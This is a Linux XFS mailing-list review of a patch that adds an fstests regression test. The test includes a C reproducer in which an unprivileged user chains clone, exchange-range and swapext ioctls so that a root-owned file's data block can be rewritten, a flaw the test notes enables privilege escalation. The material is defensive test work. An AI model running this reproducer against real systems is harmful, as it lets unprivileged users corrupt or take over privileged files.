From: "Darrick J. Wong" <djwong@kernel.org>
To: Eric Sandeen <sandeen@sandeen.net>
Cc: Lang Zorro <zlang@kernel.org>, Carlos Maiolino <cem@kernel.org>,
Norbert Szetei <norbert@doyensec.com>,
linux-xfs@vger.kernel.org, Christoph Hellwig <hch@infradead.org>
Subject: Re: [PATCH] xfs: add regression test for swapext reflux
Date: Sat, 10 Oct 2026 08:41:47 -0700 [thread overview]
Message-ID: <20261010154147.GV2705364@frogsfrogsfrogs> (raw)
In-Reply-To: <101C0648-521A-4ADE-97A2-E03C7A43E4EF@sandeen.net>
On Sat, Oct 10, 2026 at 01:09:39AM -0500, Eric Sandeen wrote:
>
>
> > On Oct 9, 2026, at 17:11, Darrick J. Wong <djwong@kernel.org> wrote:
> >
> > On Fri, Oct 09, 2026 at 11:13:53AM -0500, Eric Sandeen wrote:
> >>> On 10/7/26 12:05 PM, Darrick J. Wong wrote:
> >>> From: Darrick J. Wong <djwong@kernel.org>
> >>>
> >>> This is a regression test for a bug that Norbert Szetei reported in the
> >>> XFS swapext ioctl. I've ported his reproducer program to fstests so
> >>> that everyone can run it.
> >>
> >> A couple things I notice -
> >>
> >> 1) this still requires EXCHRANGE?
> >> 2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently
> >
> > Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require
> > clause here.
>
> Should it test that exchrange is fully available and mkfs scratch with that option if so?
Yes, that's what _require_xfs_io_command exchrange does.
And, uh, you could turn on exchrange in your test config like I do,
especially seeing as it's been enabled by default for a year.
--D
> >> 3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1"
> >> requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if
> >> it can't, the test fails oddly
> >>
> >> For 3) I think just dropping the $here might fix it?
> >>
> >> su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"
> >
> > Yeah. From commit b7cecbea22ba6d ("fstests: Add path $here before
> > src/<file>"):
> >
> > [Eryu: some tests run src/<file> as regular user, don't add $here
> > prefix in such case, as a regular user may have no search permission
> > on $here]
> >
> > <grumble> Will fix.
> >
> > --D
> >
> >> -Eric
> >>
> >>> Cc: Norbert Szetei <norbert@doyensec.com>
> >>> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> >>> ---
> >>> src/Makefile | 2
> >>> src/xfs-swapext-reflink.c | 230 +++++++++++++++++++++++++++++++++++++++++++++
> >>> tests/xfs/1939 | 69 ++++++++++++++
> >>> tests/xfs/1939.out | 2
> >>> 4 files changed, 302 insertions(+), 1 deletion(-)
> >>> create mode 100644 src/xfs-swapext-reflink.c
> >>> create mode 100755 tests/xfs/1939
> >>> create mode 100644 tests/xfs/1939.out
> >>>
> >>> diff --git a/src/Makefile b/src/Makefile
> >>> index 211b16a832ad5d..eaf0621fc4b876 100644
> >>> --- a/src/Makefile
> >>> +++ b/src/Makefile
> >>> @@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> >>> detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
> >>> uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
> >>> rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
> >>> - xfs-exchange-to-dirty-eof
> >>> + xfs-exchange-to-dirty-eof xfs-swapext-reflink
> >>>
> >>> EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> >>> btrfs_crc32c_forged_name.py popdir.pl popattr.py \
> >>> diff --git a/src/xfs-swapext-reflink.c b/src/xfs-swapext-reflink.c
> >>> new file mode 100644
> >>> index 00000000000000..e2a240d5a0af91
> >>> --- /dev/null
> >>> +++ b/src/xfs-swapext-reflink.c
> >>> @@ -0,0 +1,230 @@
> >>> +// SPDX-License-Identifier: GPL-2.0
> >>> +
> >>> +// Trick swapext into screwing up the file reflink flags after data exchange
> >>> +#include <stdio.h>
> >>> +#include <stdlib.h>
> >>> +#include <string.h>
> >>> +#include <unistd.h>
> >>> +#include <fcntl.h>
> >>> +#include <sys/ioctl.h>
> >>> +#include <sys/stat.h>
> >>> +#include <sys/vfs.h>
> >>> +#include <linux/fs.h>
> >>> +#include <linux/fiemap.h>
> >>> +
> >>> +#ifndef FICLONERANGE
> >>> +#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
> >>> +#endif
> >>> +
> >>> +#ifndef XFS_EXCHANGE_RANGE_TO_EOF
> >>> +struct xfs_exchange_range {
> >>> + __s32 file1_fd;
> >>> + __u32 pad;
> >>> + __u64 file1_offset;
> >>> + __u64 file2_offset;
> >>> + __u64 length;
> >>> + __u64 flags;
> >>> +};
> >>> +#define XFS_IOC_EXCHANGE_RANGE _IOW('X', 129, struct xfs_exchange_range)
> >>> +#define XFS_EXCHANGE_RANGE_TO_EOF (1ULL << 0)
> >>> +#endif
> >>> +
> >>> +#ifndef XFS_IOC_SWAPEXT
> >>> +typedef struct xfs_bstime {
> >>> + long tv_sec;
> >>> + __s32 tv_nsec;
> >>> +} xfs_bstime_t;
> >>> +
> >>> +struct xfs_bstat {
> >>> + __u64 bs_ino;
> >>> + __u16 bs_mode;
> >>> + __u16 bs_nlink;
> >>> + __u32 bs_uid;
> >>> + __u32 bs_gid;
> >>> + __u32 bs_rdev;
> >>> + __s32 bs_blksize;
> >>> + __s64 bs_size;
> >>> + xfs_bstime_t bs_atime;
> >>> + xfs_bstime_t bs_mtime;
> >>> + xfs_bstime_t bs_ctime;
> >>> + __s64 bs_blocks;
> >>> + __u32 bs_xflags;
> >>> + __s32 bs_extsize;
> >>> + __s32 bs_extents;
> >>> + __u32 bs_gen;
> >>> + __u16 bs_projid_lo;
> >>> + __u16 bs_forkoff;
> >>> + __u16 bs_projid_hi;
> >>> + __u16 bs_sick;
> >>> + __u16 bs_checked;
> >>> + unsigned char bs_pad[2];
> >>> + __u32 bs_cowextsize;
> >>> + __u32 bs_dmevmask;
> >>> + __u16 bs_dmstate;
> >>> + __u16 bs_aextents;
> >>> +};
> >>> +
> >>> +struct xfs_swapext {
> >>> + __s64 sx_version;
> >>> +#define XFS_SX_VERSION 0
> >>> + __s64 sx_fdtarget;
> >>> + __s64 sx_fdtmp;
> >>> + __s64 sx_offset;
> >>> + __s64 sx_length;
> >>> + char sx_pad[16];
> >>> + struct xfs_bstat sx_stat;
> >>> +};
> >>> +#define XFS_IOC_SWAPEXT _IOWR('X', 109, struct xfs_swapext)
> >>> +#endif
> >>> +
> >>> +static unsigned long blksz;
> >>> +static int peer, f1;
> >>> +
> >>> +static unsigned long long phys(int fd, unsigned long long off)
> >>> +{
> >>> + struct { struct fiemap f; struct fiemap_extent e[1]; } q;
> >>> +
> >>> + memset(&q, 0, sizeof q);
> >>> + q.f.fm_start = off;
> >>> + q.f.fm_length = blksz;
> >>> + q.f.fm_extent_count = 1;
> >>> + if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
> >>> + return 0;
> >>> + return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
> >>> +}
> >>> +
> >>> +static void show(const char *tag)
> >>> +{
> >>> + struct stat st;
> >>> + int i;
> >>> +
> >>> + fstat(f1, &st);
> >>> + printf("%-26s peer [%llu] file1 size %5lld [", tag, phys(peer, 0),
> >>> + (long long)st.st_size);
> >>> + for (i = 0; i < 3; i++)
> >>> + printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
> >>> + i == 2 ? "]\n" : "] [");
> >>> +}
> >>> +
> >>> +static int mkfile(const char *name, char fill, int blocks)
> >>> +{
> >>> + char *buf;
> >>> + int fd;
> >>> +
> >>> + unlink(name);
> >>> + fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
> >>> + if (fd < 0)
> >>> + return fprintf(stderr, "open %s: %m\n", name), -1;
> >>> + buf = malloc(blocks * blksz);
> >>> + memset(buf, fill, blocks * blksz);
> >>> + if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
> >>> + return fprintf(stderr, "pwrite %s: %m\n", name), -1;
> >>> + free(buf);
> >>> + fsync(fd);
> >>> + return fd;
> >>> +}
> >>> +
> >>> +int main(int argc, char *argv[])
> >>> +{
> >>> + struct xfs_exchange_range xr;
> >>> + struct file_clone_range cr;
> >>> + struct xfs_swapext sx;
> >>> + char before[65536], after[65536], *buf;
> >>> + struct statfs sfs;
> >>> + struct stat st;
> >>> + int d1, d2;
> >>> +
> >>> + if (argc != 3) {
> >>> + fprintf(stderr, "Usage: $0 dir path_to_peer\n");
> >>> + return 2;
> >>> + }
> >>> +
> >>> + if (chdir(argv[1]))
> >>> + return perror(argv[1]), 2;
> >>> +
> >>> + if (statfs(".", &sfs))
> >>> + return fprintf(stderr, "statfs: %m\n"), 2;
> >>> + blksz = sfs.f_bsize;
> >>> +
> >>> + peer = open(argv[2], O_RDONLY);
> >>> + if (peer < 0)
> >>> + return fprintf(stderr, "open peer: %m\n"), 2;
> >>> + fstat(peer, &st);
> >>> + printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
> >>> + st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
> >>> + if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
> >>> + return fprintf(stderr, "read peer: %m\n"), 2;
> >>> + syncfs(peer); /* so FIEMAP reports peer's real block */
> >>> +
> >>> + f1 = mkfile("file1", 'A', 3);
> >>> + d1 = mkfile("donor1", 'B', 1);
> >>> + d2 = mkfile("donor2", 'C', 1);
> >>> + if (f1 < 0 || d1 < 0 || d2 < 0)
> >>> + return 2;
> >>> + show("start");
> >>> +
> >>> + /* 1. share peer's block into the middle of file1 */
> >>> + cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
> >>> + .src_length = blksz,
> >>> + .dest_offset = blksz };
> >>> + if (ioctl(f1, FICLONERANGE, &cr))
> >>> + return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
> >>> + show("1 FICLONERANGE");
> >>> +
> >>> + /*
> >>> + * 2. exchange file1's last block against the whole of donor1 with
> >>> + * TO_EOF. The sizes are exchanged too, so file1 claims one block
> >>> + * while still owning three. file2_offset is block 2, so this exchange
> >>> + * cannot clear a reflink flag.
> >>> + */
> >>> + xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
> >>> + .file2_offset = 2 * blksz,
> >>> + .length = 0,
> >>> + .flags = XFS_EXCHANGE_RANGE_TO_EOF };
> >>> + if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
> >>> + return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
> >>> + show("2 EXCHANGE_RANGE TO_EOF");
> >>> +
> >>> + /*
> >>> + * 3. XFS_IOC_SWAPEXT with file1 as the target. sx_offset is 0 and
> >>> + * sx_length equals both inodes' i_disk_size, so the "Verify all data
> >>> + * are being swapped" test passes. xfs_swap_extent_rmap() then bounds
> >>> + * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
> >>> + * is one block, so file1's two mappings above its size are left in
> >>> + * place -- and the reflink flags are swapped anyway, clearing file1's.
> >>> + */
> >>> + fsync(f1);
> >>> + fsync(d2);
> >>> + if (fstat(f1, &st))
> >>> + return fprintf(stderr, "fstat file1: %m\n"), 2;
> >>> + memset(&sx, 0, sizeof sx);
> >>> + sx.sx_version = XFS_SX_VERSION;
> >>> + sx.sx_fdtarget = f1;
> >>> + sx.sx_fdtmp = d2;
> >>> + sx.sx_offset = 0;
> >>> + sx.sx_length = st.st_size;
> >>> + sx.sx_stat.bs_mtime.tv_sec = st.st_mtim.tv_sec;
> >>> + sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
> >>> + sx.sx_stat.bs_ctime.tv_sec = st.st_ctim.tv_sec;
> >>> + sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
> >>> + if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
> >>> + return fprintf(stderr, "SWAPEXT: %m\n"), 2;
> >>> + show("3 SWAPEXT");
> >>> +
> >>> + /* 4. write to the block file1 still shares with peer */
> >>> + buf = malloc(blksz);
> >>> + memset(buf, 'X', blksz);
> >>> + if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
> >>> + return fprintf(stderr, "pwrite: %m\n"), 2;
> >>> + fsync(f1);
> >>> + show("4 pwrite(file1, 4096)");
> >>> +
> >>> + posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
> >>> + if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
> >>> + return fprintf(stderr, "re-read peer: %m\n"), 2;
> >>> + printf("\npeer first byte %c -> %c %s\n", before[0], after[0],
> >>> + memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
> >>> + return memcmp(before, after, blksz) ? 0 : 1;
> >>> +}
> >>> +
> >>> +
> >>> diff --git a/tests/xfs/1939 b/tests/xfs/1939
> >>> new file mode 100755
> >>> index 00000000000000..b08ea09e977628
> >>> --- /dev/null
> >>> +++ b/tests/xfs/1939
> >>> @@ -0,0 +1,69 @@
> >>> +#! /bin/bash
> >>> +# SPDX-License-Identifier: GPL-2.0
> >>> +# Copyright (c) 2026 Oracle. All Rights Reserved.
> >>> +#
> >>> +# FS QA Test No. 1939
> >>> +#
> >>> +# Regression test for an swapext bug which unintentionally results in files
> >>> +# that share data blocks but don't have the reflink flag set. This enables
> >>> +# attackers to rewrite shared blocks to gain root privileges, similar to
> >>> +# refluxfs.
> >>> +. ./common/preamble
> >>> +_begin_fstest auto quick swapext
> >>> +
> >>> +. ./common/filter
> >>> +. ./common/reflink
> >>> +
> >>> +_require_test_program "xfs-swapext-reflink"
> >>> +_require_user fsgqa
> >>> +_require_group fsgqa
> >>> +_require_scratch_reflink
> >>> +_require_xfs_scratch_rmapbt
> >>> +_require_cp_reflink
> >>> +
> >>> +_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
> >>> + "xfs: stop exchanging reflink flags when exchanging mappings"
> >>> +
> >>> +_scratch_mkfs >> $seqres.full
> >>> +_scratch_mount
> >>> +
> >>> +rootdir=$SCRATCH_MNT/root
> >>> +userdir1=$SCRATCH_MNT/user1
> >>> +blksz=$(_get_file_block_size $SCRATCH_MNT)
> >>> +
> >>> +# Fill $mnt/peer with "P", run reproducer program
> >>> +mkdir -p $rootdir $userdir1
> >>> +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
> >>> +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
> >>> +sync
> >>> +
> >>> +chown $qa_user:$qa_group $userdir1
> >>> +chmod +r $rootdir/peer1
> >>> +
> >>> +_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
> >>> +
> >>> +echo "Errors from reproducer:" >> $seqres.full
> >>> +cat $tmp.out1 >> $seqres.full
> >>> +
> >>> +# Check for file corruption
> >>> +grep -q REWRITTEN $tmp.out1 && \
> >>> + echo "$rootdir/peer1 rewritten, filesystem corrupt!"
> >>> +
> >>> +cmp -s $rootdir/peer.copy $rootdir/peer1 || \
> >>> + echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
> >>> +
> >>> +# Check reflink flags
> >>> +_scratch_unmount
> >>> +_scratch_xfs_db \
> >>> + -c "path /user1/file1" -c 'print' \
> >>> + | grep v3.reflink
> >>> +_scratch_mount
> >>> +
> >>> +# Check for file corruption now that we've blown away all caches
> >>> +grep -q REWRITTEN $tmp.out1 && \
> >>> + echo "$rootdir/peer1 rewritten, filesystem corrupt!"
> >>> +
> >>> +cmp -s $rootdir/peer.copy $rootdir/peer1 || \
> >>> + echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
> >>> +
> >>> +_exit 0
> >>> diff --git a/tests/xfs/1939.out b/tests/xfs/1939.out
> >>> new file mode 100644
> >>> index 00000000000000..ad52293f986ac6
> >>> --- /dev/null
> >>> +++ b/tests/xfs/1939.out
> >>> @@ -0,0 +1,2 @@
> >>> +QA output created by 1939
> >>> +v3.reflink = 1
> >>>
> >>
> >
>
>
next prev parent reply other threads:[~2026-10-10 15:41 UTC|newest]
Thread overview: 9+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-07 17:02 [PATCH v2] xfs: fix exchange-range-to-eof file size exchange Darrick J. Wong
2026-10-07 17:04 ` [PATCH] xfs: add regression test for exchangerange-to-eof reflux Darrick J. Wong
2026-10-07 17:05 ` [PATCH] xfs: add regression test for swapext reflux Darrick J. Wong
2026-10-09 16:13 ` Eric Sandeen
2026-10-09 22:11 ` Darrick J. Wong
2026-10-10 6:09 ` Eric Sandeen
2026-10-10 15:41 ` Darrick J. Wong [this message]
2026-10-10 20:57 ` Eric Sandeen
2026-10-07 20:35 ` [PATCH v2] xfs: fix exchange-range-to-eof file size exchange Dave Chinner
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20261010154147.GV2705364@frogsfrogsfrogs \
--to=djwong@kernel.org \
--cc=cem@kernel.org \
--cc=hch@infradead.org \
--cc=linux-xfs@vger.kernel.org \
--cc=norbert@doyensec.com \
--cc=sandeen@sandeen.net \
--cc=zlang@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox